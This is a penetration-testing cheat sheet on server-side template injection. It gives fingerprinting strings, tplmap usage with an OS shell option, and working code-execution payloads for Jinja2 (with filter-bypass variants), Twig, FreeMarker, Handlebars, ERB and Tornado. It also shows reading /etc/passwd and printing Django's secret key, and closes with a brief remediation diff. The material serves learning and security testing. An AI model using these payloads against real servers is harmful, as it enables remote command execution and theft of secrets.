Server-Side Template Injection (SSTI)
Server-Side Template Injection occurs when we can inject code that is parsed by a template engine such as Jinja2 in Python.
Sometimes, the attack vector may be less explicit. For instance, a form may allow you to select a property (aaa
, bbb
, etc.) which is later injected in a template ({{ xxx.aaa }}
).
You may be able to guess the template engine used from the web server, for instance, if it's Python then it's most likely Jinja.
To guess the template engine, we can try every token (${{<%[%'"}}%\
) with expressions such as 7*7
or 7*'7'
and look for the output/errors.
There are a few tools you might use:
$ tplmap -u 'http://example.com:80/*'
$ tplmap -u 'http://example.com:80' -d 'xxx=yyy'
$ tplmap -u 'http://example.com:80' -d 'xxx=yyy' --os-shell
Jinja2 Template Engine β Python
Jinja2 SSTI β PoC
Refer to JinJa2 Notes if needed.
- Basic Fingerprint PoC:
{{ "PoC" }}
then{{ "PoC"|e }}
- Test for instructions:
{% debug %}
and{% print("PoC") %}
Try to print the context {{ self._TemplateReference__context }}
. It's always available unless filtered. It will list which objects are available.
self
: a Python objectrange
: a Python objectdict
: a Python objectcycler
: a Python objectlipsum
: a Python functionjoiner
: a Python objectnamespace
: a Python objectconfig
: a Python objectrequest
: a Python object available in Flask render functions
Jinja2 SSTI β Local Testing
If we don't care about XSS, the shortest code to test is:
from jinja2 import Template
template = Template("""{{ self }}""")
output = template.render()
print(output)
If we need to consider XSS, which is the default with Flask, use:
from jinja2 import Environment, select_autoescape
env = Environment(autoescape=select_autoescape(['html', 'xml']))
template = env.from_string("""{{ self }}""")
output = template.render()
print(output)
Finally, if we need to test a sandbox environment, e.g. where self
is empty and only some classes/attributes are allowed:
# Extend sandbox.SandboxedEnvironment to allow attributes
from jinja2 import select_autoescape, DictLoader, sandbox
template_string = """{{ self.__dict__ }}"""
env = sandbox.SandboxedEnvironment(
loader=DictLoader({'dummy_template': template_string}),
autoescape=select_autoescape(['html', 'xml'])
)
env.globals = {} # add stuff here
template = env.get_template('dummy_template')
output = template.render()
print(output)
Jinja2 SSTI β Modern payloads
Old payloads were using introspection from ()
or ""
(ref).
{{ cycler.__init__.__globals__.os.system('ls') }}
{{ cycler.__init__.__globals__.os.popen("ls -1a").read() }}
{{ lipsum.__globals__.os.popen('ls -1a').read() }}
{{ self.__init__.__globals__.__builtins__.__import__('os').system('ls') }}
{{ request.application.__globals__.__builtins__.__import__('os').popen('ls -1a').read() }}
Jinja2 SSTI β Filter Bypass
Refer to my Python Cheatsheet and this summary:
{{ cycler.__init__.__globals__.os.system('ls') }}
{{ cycler['__init__']['__globals__']['os']['system']('whoami') }}
{{ cycler|attr('__init__')|attr('__globals__')|attr('get')('os')|attr('system')('ls') }}
{{ cycler|attr('__in'+'it__')|[...] }}
{{ cycler|attr('__in'~'it__')|[...] }}
{{ cycler|attr(('@@in'~'it@@'|replace("@", "\u005F")))|[...] }}
{{ lipsum['__builtins__'].__import__('os').system('whoami') }}
{{ iamnotfiltered.__init__.__globals__.__builtins__.__import__('os').system('whoami') }}
One thing of importance is that Jinja support a property access syntax with []
even for objects such as os
which natively don't support it.
{{ cycler['__init__'] }}
{{ self['__dict__'] }}
{{ some_payload.__import__('os')['system'] }}
Sometimes, quotes may not be required, while it's rare.
Jinja2 SSTI β Remediation
Never inject untrusted input in your template before rendering them. Always pass the input as parameters as intended.
-with open('templates/xxx.html') as f:
- template = f.read()
-template = template.replace("{{ param1 }}", value1)
-template = template.replace("{{ param2 }}", value2)
-return render_template_string(template)
+return render_template('xxx.html', param1=value1, param2=value2)
Flask automatically escape all parameters by default. Otherwise, Jinja default mode requires you to escape all dangerous parameters to avoid XSS. Replace {{ param1 }}
with {{ param1|e }}
.
Using the automatic mode is less performant but easier. When using it, you may mark safe parameters as safe with {{ param3|safe }}
.
Well-Known Template Engines
Twig Template Engine β PHP
Link to the official documentation. GitHub (8.2k β).
- Basic Fingerprint PoC:
{{_self}}
,{{_self.env}}
- Random payloads:
{{_self.env.display("TEST")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname;printenv")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id;uname -a;hostname;printenv")}}
π Both exec
and system
are PHP functions.
Apache FreeMarker Template Engine - Java
${7/0}
generates an error and expose FreeMarker in the stack trace.
<#assign ex = "freemarker.template.utility.Execute"?new()>
${ ex("whoami")}
You can also read files if you have an object at hand:
// 'myObject' is an object passed to the template
${myObject.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(",")}
Handlebars Template Engine β JavaScript
- Raise an error:
{{7*7}}
- Well-known exploit: CVE-2021-23369
...
{{this.push "return require('child_process').execSync('whoami');"}}
...
Apache Velocity Template Engine β Java
Link to the official documentation.
- Basic PoC:
#set($s=7+7) $s
ERB Template System β Ruby
Link to the official repository.
- Basic PoC:
<%= 7*7 %>
- RCE payload:
<%= system("whoami") %>
Tornado Web Framework Templates β Python
Link to the template section of the official documentation.
{% import os %}
{{os.popen('whoami').read()}}
Django Template Engine β Python 2.7
Django can use Jinja2 or its own template engine. You can access attributes such as the app secret key, but you can't invoke functions.
{{7*'7'}} or {{7*7}} == Error
{% debug %} == Print all variables
{{settings.SECRET_KEY}} == Print the secret key
{{ messages.storages.0.signer.key }} == Print the secret key (has multiple requirements)